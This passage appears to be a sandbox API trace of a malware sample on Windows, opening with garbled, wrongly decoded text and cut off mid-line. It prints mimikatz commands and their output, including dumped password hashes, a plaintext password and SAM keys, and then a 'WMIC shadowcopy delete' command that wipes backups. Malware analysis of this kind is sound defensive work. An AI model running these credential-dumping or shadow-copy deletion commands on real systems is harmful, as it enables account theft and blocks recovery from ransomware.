‣敲摡㨺慳穭਍潄慭湩㨠堠啄呗但低਍祓䭳祥㨠㘠づ搲扡㥡㜷攸挲昱戳敤㘲〴搴戰㤱൥䰊捯污匠䑉㨠匠ㄭ㔭㈭ⴱ㌳㠸㜶㤹㌷㌭㌹㜰㜵㈲ⴵ㜳〷㔱㔱㐶਍਍䅓䭍祥㨠㈠〹㉤㌶㠳ㄸ㘱㜵㉥㡤㙦㡤㍦㍥捥㤹റഊ刊䑉†›〰〰㄰㑦⠠〵⤰਍獕牥㨠䄠浤湩獩牴瑡牯਍†慈桳丠䱔㩍㌠搱挶敦搰㘱敡㌹戱㌷㕣搹攷挰㠰挹രഊ刊䑉†›〰〰㄰㕦⠠〵⤱਍獕牥㨠䜠敵瑳਍਍䥒⁄㨠〠〰〰攳‸ㄨ〰⤰਍獕牥㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺ 䠠獡⁨呎䵌›昷〰㐱慤昸敥ㄵㄲ㠵敦搰ㄱ攱ㄴち摡਍਍業業慫穴挨浯慭摮楬敮
‣硥瑩਍祂Ⅵ਍") returned 0x1000 [0199.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53b6a84, cbMultiByte=4097, lpWideCharStr=0x53d48f4, cchWideChar=8193 | out: lpWideCharStr="\r\nmimikatz(commandline) # go::inc\r\nPrivilege '20' OK\r\n\r\nmimikatz(commandline) # get::pwz\r\n\x09msv :\x09\r\n\x09 [00000003] Primary\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * LM : 30e90c8ed6435fd48412e839bcfe4d42\r\n\x09 * NTLM : 7f0014da8fee512158fe0d111e41a0ad\r\n\x09tspkg :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09wdigest :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09kerberos :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\x09msv :\x09\r\n\x09 [00000003] Primary\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * LM : 30e90c8ed6435fd48412e839bcfe4d42\r\n\x09 * NTLM : 7f0014da8fee512158fe0d111e41a0ad\r\n\x09tspkg :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09wdigest :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09kerberos :\x09\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 6mnH7CdKK\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\x09msv :\x09\r\n\x09tspkg :\x09\r\n\x09wdigest :\x09\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : (null)\r\n\x09kerberos :\x09\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : (null)\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\x09msv :\x09\r\n\x09tspkg :\x09\r\n\x09wdigest :\x09\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : (null)\r\n\x09kerberos :\x09\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : (null)\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\x09msv :\x09\r\n\x09tspkg :\x09\r\n\x09wdigest :\x09\r\n\x09kerberos :\x09\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\x09msv :\x09\r\n\x09tspkg :\x09\r\n\x09wdigest :\x09\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : (null)\r\n\x09kerberos :\x09\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : (null)\r\n\x09ssp :\x09\r\n\x09credman :\x09\r\n\r\nmimikatz(commandline) # token::getsys\r\n\r\n{0;000003e7} 0 D 13358 \x09NT AUTHORITY\\SYSTEM\x09S-1-5-18\x09(04g,30p)\x09Primary\r\n{0;0000eb80} 1 F 460381 \x09XDUWTFONO\\5p5NrGJn0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000\x09(12g,23p)\x09Primary\r\n\r\nmimikatz(commandline) # read::samz\r\nDomain : XDUWTFONO\r\nSysKey : 6e02daba9778e2c1f3bde26404d0b19e\r\nLocal SID : S-1-5-21-3388679973-3930757225-3770151564\r\n\r\nSAMKey : 290d26338811657e2d8f6d8f3e3ec991\r\n\r\nRID : 000001f4 (500)\r\nUser : Administrator\r\n Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\r\n\r\nRID : 000001f5 (501)\r\nUser : Guest\r\n\r\nRID : 000003e8 (1000)\r\nUser : 5p5NrGJn0jS HALPmcxz\r\n Hash NTLM: 7f0014da8fee512158fe0d111e41a0ad\r\n\r\nmimikatz(commandline) # exit\r\nBye!\r\n") returned 4097 [0199.029] CloseHandle (hObject=0x784) returned 1 [0199.029] GetLastError () returned 0x0 [0199.029] CloseHandle (hObject=0x2e0) returned 1 [0199.029] GetLastError () returned 0x0 [0199.029] CloseHandle (hObject=0x76c) returned 1 [0199.029] GetLastError () returned 0x0 [0199.029] CloseHandle (hObject=0x720) returned 1 [0199.029] GetLastError () returned 0x0 [0199.030] GetUserDefaultLCID () returned 0x409 [0199.030] RtlAllocateHeap (HeapHandle=0x2d30000, Flags=0x0, Size=0x1e0) returned 0x2d342d8 [0199.031] RtlReAllocateHeap (Heap=0x2d30000, Flags=0x0, Ptr=0x2d342d8, Size=0x280) returned 0x2d342d8 [0199.031] RtlReAllocateHeap (Heap=0x2d30000, Flags=0x0, Ptr=0x2d342d8, Size=0x320) returned 0x2d342d8 [0199.031] RtlReAllocateHeap (Heap=0x2d30000, Flags=0x0, Ptr=0x2d342d8, Size=0x3c0) returned 0x2d342d8 [0199.037] HeapFree (in: hHeap=0x2d30000, dwFlags=0x0, lpMem=0x2d342d8 | out: hHeap=0x2d30000) returned 1 [0199.038] SafeArrayCopy (in: psa=0x143e2e0, ppsaOut=0x18eb98 | out: ppsaOut=0x18eb98) returned 0x0 [0199.038] GetUserDefaultLCID () returned 0x409 [0199.040] GetUserDefaultLCID () returned 0x409 [0199.041] GetUserDefaultLCID () returned 0x409 [0199.042] VarAdd (in: pvarLeft=0x18ebac, pvarRight=0x18ea78, pvarResult=0x18eb58 | out: pvarResult=0x18eb58) returned 0x0 [0199.042] VarAdd (in: pvarLeft=0x18ebac, pvarRight=0x18ea78, pvarResult=0x18eb58 | out: pvarResult=0x18eb58) returned 0x0 [0199.042] CharLowerBuffW (in: lpsz="5p5NrGJn0jSHALPmcxz", cchLength=0x14 | out: lpsz="5p5nrgjn0jshalpmcxz") returned 0x14 [0199.042] CharLowerBuffW (in: lpsz="DefaultAccount", cchLength=0xf | out: lpsz="defaultaccount") returned 0xf [0199.042] CharLowerBuffW (in: lpsz="5p5NrGJn0jSHALPmcxz", cchLength=0x14 | out: lpsz="5p5nrgjn0jshalpmcxz") returned 0x14 [0199.042] CharLowerBuffW (in: lpsz="Guest", cchLength=0x6 | out: lpsz="guest") returned 0x6 [0199.042] CharLowerBuffW (in: lpsz="5p5NrGJn0jSHALPmcxz", cchLength=0x14 | out: lpsz="5p5nrgjn0jshalpmcxz") returned 0x14 [0199.043] CharLowerBuffW (in: lpsz="WDAGUtilityAccount", cchLength=0x13 | out: lpsz="wdagutilityaccount") returned 0x13 [0199.043] VarOr (in: pvarLeft=0x18eb28, pvarRight=0x18eae8, pvarResult=0x18ead8 | out: pvarResult=0x18ead8) returned 0x0 [0199.043] VarOr (in: pvarLeft=0x18ead8, pvarRight=0x18ea98, pvarResult=0x18ea88 | out: pvarResult=0x18ea88) returned 0x0 [0199.043] GetUserDefaultLCID () returned 0x409 [0199.044] SysStringLen (param_1="5p5NrGJn0jSHALPmcxz:") returned 0x14 [0199.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jSHALPmcxz:", cchWideChar=21, lpMultiByteStr=0x14b4aac, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jSHALPmcxz:", lpUsedDefaultChar=0x0) returned 21 [0199.044] IsWindowVisible (hWnd=0x2028e) returned 0 [0199.044] lstrlenA (lpString="5p5NrGJn0jSHALPmcxz:") returned 20 [0199.044] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x188, wParam=0x0, lParam=0x0) returned 0xffffffff [0199.045] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0199.045] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x180, wParam=0x0, lParam=0x14b4aac) returned 0x0 [0199.045] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0199.045] GetUserDefaultLCID () returned 0x409 [0199.046] GetUserDefaultLCID () returned 0x409 [0199.047] GetUserDefaultLCID () returned 0x409 [0199.047] VarAdd (in: pvarLeft=0x18ebac, pvarRight=0x18ea78, pvarResult=0x18eb58 | out: pvarResult=0x18eb58) returned 0x0 [0199.047] VarAdd (in: pvarLeft=0x18ebac, pvarRight=0x18ea78, pvarResult=0x18eb58 | out: pvarResult=0x18eb58) returned 0x0 [0199.048] GetUserDefaultLCID () returned 0x409 [0199.048] GetUserDefaultLCID () returned 0x409 [0199.049] GetUserDefaultLCID () returned 0x409 [0199.050] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18e8ec | out: ppsaOut=0x18e8ec) returned 0x0 [0199.050] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.050] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.051] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.051] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextA") returned 0x777191dd [0199.051] CryptAcquireContextA (in: phProv=0x18e8b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18e8b4*=0x14619e8) returned 1 [0199.053] GetLastError () returned 0x0 [0199.053] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.053] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.054] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.054] GetProcAddress (hModule=0x77710000, lpProcName="CryptCreateHash") returned 0x7771df4e [0199.054] CryptCreateHash (in: hProv=0x14619e8, Algid=0x8002, hKey=0x0, dwFlags=0x0, phHash=0x18e8b8 | out: phHash=0x18e8b8) returned 1 [0199.055] GetLastError () returned 0x0 [0199.055] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.056] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.056] GetProcAddress (hModule=0x77710000, lpProcName="CryptHashData") returned 0x7771df36 [0199.056] CryptHashData (hHash=0x143d148, pbData=0x14bde78, dwDataLen=0x12, dwFlags=0x0) returned 1 [0199.056] GetLastError () returned 0x0 [0199.056] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.056] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.057] GetProcAddress (hModule=0x77710000, lpProcName="CryptGetHashParam") returned 0x7771df7e [0199.057] CryptGetHashParam (in: hHash=0x143d148, dwParam=0x4, pbData=0x18e8bc, pdwDataLen=0x18e8a8, dwFlags=0x0 | out: pbData=0x18e8bc, pdwDataLen=0x18e8a8) returned 1 [0199.058] GetLastError () returned 0x0 [0199.058] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18e8b0 | out: ppsaOut=0x18e8b0) returned 0x0 [0199.058] CryptGetHashParam (in: hHash=0x143d148, dwParam=0x2, pbData=0x14aade0, pdwDataLen=0x18e8bc, dwFlags=0x0 | out: pbData=0x14aade0, pdwDataLen=0x18e8bc) returned 1 [0199.059] GetLastError () returned 0x0 [0199.059] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.059] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.060] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyHash") returned 0x7771df66 [0199.060] CryptDestroyHash (hHash=0x143d148) returned 1 [0199.060] GetLastError () returned 0x0 [0199.060] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.060] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0199.060] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.060] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0199.060] CryptReleaseContext (hProv=0x14619e8, dwFlags=0x0) returned 1 [0199.060] GetLastError () returned 0x0 [0199.060] SafeArrayDestroyDescriptor (psa=0x143e2e0) returned 0x0 [0199.061] LoadLibraryA (lpLibFileName="Crypt32.dll") returned 0x77550000 [0199.061] SetErrorMode (uMode=0x8001) returned 0x8001 [0199.061] GetProcAddress (hModule=0x77550000, lpProcName="CryptBinaryToStringA") returned 0x7758a8c5 Thread: id = 68 os_tid = 0xb90 Thread: id = 69 os_tid = 0x64 [0057.113] GetCurrentThreadId () returned 0x64 [0154.466] GetCurrentThreadId () returned 0x64 Thread: id = 70 os_tid = 0x5b8 [0057.159] GetCurrentThreadId () returned 0x5b8 [0154.467] GetCurrentThreadId () returned 0x5b8 Thread: id = 71 os_tid = 0x5bc [0057.159] GetCurrentThreadId () returned 0x5bc Thread: id = 76 os_tid = 0x23c [0078.289] GetCurrentThreadId () returned 0x23c Thread: id = 166 os_tid = 0x8d8 [0177.065] GetCurrentThreadId () returned 0x8d8 [0180.022] GetCurrentThreadId () returned 0x8d8 Thread: id = 171 os_tid = 0x408 [0180.989] GetCurrentThreadId () returned 0x408 [0181.248] GetCurrentThreadId () returned 0x408 Thread: id = 176 os_tid = 0x7a4 [0183.345] GetCurrentThreadId () returned 0x7a4 [0183.364] GetCurrentThreadId () returned 0x7a4 Process: id = "6" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2a866000" os_pid = "0x2a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\wbem\\WMIC.exe\" shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 77 os_tid = 0x174 [0088.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fd5c | out: lpSystemTimeAsFileTime=0x25fd5c*(dwLowDateTime=0xf5f5d1b0, dwHighDateTime=0x1d6080c)) [0088.770] GetCurrentProcessId () returned 0x2a8 [0088.770] GetCurrentThreadId () returned 0x174 [0088.770] GetTickCount () returned 0x114a007 [0088.770] QueryPerformanceCounter (in: lpPerformanceCount=0x25fd54 | out: lpPerformanceCount=0x25fd54*=20763811091) returned 1 [0088.772] GetModuleHandleA (lpModuleName=0x0) returned 0x910000 [0088.772] __set_app_type (_Type=0x1) [0088.772] __p__fmode () returned 0x770331f4 [0088.772] __p__commode () returned 0x770331fc [0088.772] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x94dc15) returned 0x0 [0088.773] __wgetmainargs (in: _Argc=0x95c5e8, _Argv=0x95c5f0, _Env=0x95c5ec, _DoWildCard=0, _StartInfo=0x95c5fc | out: _Argc=0x95c5e8, _Argv=0x95c5f0, _Env=0x95c5ec) returned 0 [0088.942] ??0CHString@@QAE@XZ () returned 0x95c28c [0088.942] malloc (_Size=0x18) returned 0x3113b8 [0088.944] malloc (_Size=0x38) returned 0x313d68 [0088.944] malloc (_Size=0x28) returned 0x313da8 [0088.944] malloc (_Size=0x18) returned 0x313dd8 [0088.944] malloc (_Size=0x24) returned 0x313df8 [0088.945] malloc (_Size=0x18) returned 0x313e28 [0088.945] malloc (_Size=0x18) returned 0x313e48 [0088.945] ??0CHString@@QAE@XZ () returned 0x95c594 [0088.945] malloc (_Size=0x18) returned 0x313e68 [0088.945] ?Empty@CHString@@QAEXXZ () returned 0x744c0504 [0088.945] SetConsoleCtrlHandler (HandlerRoutine=0x946b6f, Add=1) returned 1 [0088.945] _onexit (_Func=0x952f1f) returned 0x952f1f [0088.945] _onexit (_Func=0x952f2e) returned 0x952f2e [0088.945] _onexit (_Func=0x952f42) returned 0x952f42 [0088.946] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.946] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0088.948] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0088.959] CoCreateInstance (in: rclsid=0x916c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x916b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x95c1b0 | out: ppv=0x95c1b0*=0x1e20828) returned 0x0 [0088.972] GetCurrentProcess () returned 0xffffffff [0088.972] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x25fc04 | out: TokenHandle=0x25fc04*=0x108) returned 1 [0088.972] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25fc00 | out: TokenInformation=0x0, ReturnLength=0x25fc00) returned 0 [0088.972] malloc (_Size=0x118) returned 0x3127b0 [0088.972] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x3127b0, TokenInformationLength=0x118, ReturnLength=0x25fc00 | out: TokenInformation=0x3127b0, ReturnLength=0x25fc00) returned 1 [0088.972] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x3127b0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0088.972] free (_Block=0x3127b0) [0088.972] CloseHandle (hObject=0x108) returned 1 [0088.972] malloc (_Size=0x40) returned 0x313f98 [0088.972] malloc (_Size=0x40) returned 0x3127b0 [0088.972] malloc (_Size=0x40) returned 0x3127f8 [0088.973] malloc (_Size=0x20a) returned 0x312840 [0088.973] GetSystemDirectoryW (in: lpBuffer=0x312840, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0088.973] free (_Block=0x312840) [0088.974] malloc (_Size=0xc) returned 0x312840 [0088.974] malloc (_Size=0xc) returned 0x312858 [0088.974] malloc (_Size=0xc) returned 0x312870 [0088.974] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0088.974] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0088.974] free (_Block=0x312840) [0088.974] free (_Block=0x312858) [0088.974] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76d30000 [0088.975] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0088.975] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.976] FreeLibrary (hLibModule=0x76d30000) returned 1 [0088.976] free (_Block=0x312870) [0088.976] _vsnwprintf (in: _Buffer=0x3127f8, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x25fb60 | out: _Buffer="ms_409") returned 6 [0088.976] malloc (_Size=0x20) returned 0x312840 [0088.976] GetComputerNameW (in: lpBuffer=0x312840, nSize=0x25fbb8 | out: lpBuffer="XDUWTFONO", nSize=0x25fbb8) returned 1 [0088.977] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.977] malloc (_Size=0x14) returned 0x312868 [0088.977] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.977] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x25fbf4 | out: lpNameBuffer=0x0, nSize=0x25fbf4) returned 0x0 [0088.978] GetLastError () returned 0xea [0088.978] malloc (_Size=0x40) returned 0x312888 [0088.978] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x312888, nSize=0x25fbf4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25fbf4) returned 0x1 [0088.978] lstrlenW (lpString="") returned 0 [0088.978] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.978] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0088.980] lstrlenW (lpString=".") returned 1 [0088.980] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0088.980] lstrlenW (lpString="LOCALHOST") returned 9 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0088.981] free (_Block=0x312868) [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] malloc (_Size=0x14) returned 0x312868 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] malloc (_Size=0x14) returned 0x3128d0 [0088.981] lstrlenW (lpString="XDUWTFONO") returned 9 [0088.981] malloc (_Size=0x4) returned 0x3113d8 [0088.981] malloc (_Size=0xc) returned 0x3128f0 [0088.981] malloc (_Size=0x18) returned 0x312908 [0088.981] malloc (_Size=0xc) returned 0x312928 [0088.981] SysStringLen (param_1="IDENTIFY") returned 0x8 [0088.981] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0088.981] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0088.981] SysStringLen (param_1="IDENTIFY") returned 0x8 [0088.981] malloc (_Size=0x18) returned 0x312940 [0088.982] malloc (_Size=0xc) returned 0x312960 [0088.982] SysStringLen (param_1="IMPERSONATE") returned 0xb [0088.982] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0088.982] SysStringLen (param_1="IMPERSONATE") returned 0xb [0088.982] SysStringLen (param_1="IDENTIFY") returned 0x8 [0088.982] SysStringLen (param_1="IDENTIFY") returned 0x8 [0088.982] SysStringLen (param_1="IMPERSONATE") returned 0xb [0088.982] malloc (_Size=0x18) returned 0x312978 [0088.982] malloc (_Size=0xc) returned 0x312998 [0088.982] SysStringLen (param_1="DELEGATE") returned 0x8 [0088.982] SysStringLen (param_1="IDENTIFY") returned 0x8 [0088.982] SysStringLen (param_1="DELEGATE") returned 0x8 [0088.982] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0088.982] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0088.982] SysStringLen (param_1="DELEGATE") returned 0x8 [0088.982] malloc (_Size=0x18) returned 0x3129b0 [0088.982] malloc (_Size=0xc) returned 0x3129d0 [0088.982] malloc (_Size=0x18) returned 0x3129e8 [0088.983] malloc (_Size=0xc) returned 0x312a08 [0088.983] SysStringLen (param_1="NONE") returned 0x4 [0088.983] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.983] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.983] SysStringLen (param_1="NONE") returned 0x4 [0088.983] malloc (_Size=0x18) returned 0x312a20 [0088.983] malloc (_Size=0xc) returned 0x312a40 [0088.984] SysStringLen (param_1="CONNECT") returned 0x7 [0088.984] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.984] malloc (_Size=0x18) returned 0x312a58 [0088.984] malloc (_Size=0xc) returned 0x312a78 [0088.984] SysStringLen (param_1="CALL") returned 0x4 [0088.984] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.984] SysStringLen (param_1="CALL") returned 0x4 [0088.984] SysStringLen (param_1="CONNECT") returned 0x7 [0088.984] malloc (_Size=0x18) returned 0x31e868 [0088.984] malloc (_Size=0xc) returned 0x312e90 [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.985] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.985] SysStringLen (param_1="NONE") returned 0x4 [0088.985] SysStringLen (param_1="NONE") returned 0x4 [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.985] malloc (_Size=0x18) returned 0x31e888 [0088.985] malloc (_Size=0xc) returned 0x312ea8 [0088.985] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.985] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.985] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.985] SysStringLen (param_1="NONE") returned 0x4 [0088.985] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.985] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.985] malloc (_Size=0x18) returned 0x31e8a8 [0088.985] malloc (_Size=0xc) returned 0x312ec0 [0088.985] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0088.985] SysStringLen (param_1="DEFAULT") returned 0x7 [0088.985] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0088.985] SysStringLen (param_1="PKT") returned 0x3 [0088.986] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0088.986] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.986] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0088.986] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0088.986] malloc (_Size=0x18) returned 0x31e8c8 [0088.986] malloc (_Size=0x40) returned 0x312ed8 [0088.986] malloc (_Size=0x20a) returned 0x312f20 [0088.986] GetSystemDirectoryW (in: lpBuffer=0x312f20, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0088.986] free (_Block=0x312f20) [0088.986] malloc (_Size=0xc) returned 0x312f20 [0088.986] malloc (_Size=0xc) returned 0x312f38 [0088.986] malloc 